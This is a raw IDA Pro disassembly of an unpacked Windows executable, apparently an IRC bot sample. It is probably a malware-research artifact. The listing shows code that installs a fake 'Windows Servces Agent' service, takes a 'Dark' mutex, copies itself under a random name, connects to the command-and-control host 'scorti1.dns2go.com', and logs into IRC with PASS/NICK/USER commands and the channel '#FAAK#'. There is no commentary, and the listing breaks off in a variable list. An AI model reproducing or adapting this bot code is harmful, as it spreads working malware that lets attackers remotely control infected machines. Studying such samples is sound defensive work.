;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A15BC6AFF692150DCD35B9298A3C1283

; File Name   :	u:\work\a15bc6aff692150dcd35b9298a3c1283_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2660979h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650CD4h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		push	eax
		call	near ptr 2670F16h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2660979h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2670E16h
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670D3Eh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2670BF0h
		nop

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 267084Ch
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2660EB7h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2670BF0h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 267081Ah
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2670284h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650CD4h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2660EB7h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 2670F16h
		nop
		push	esi
		nop
		call	near ptr 26509C3h
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2660EB7h
		nop
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 2670188h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2660EB7h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2660EB7h
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 2660EB7h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
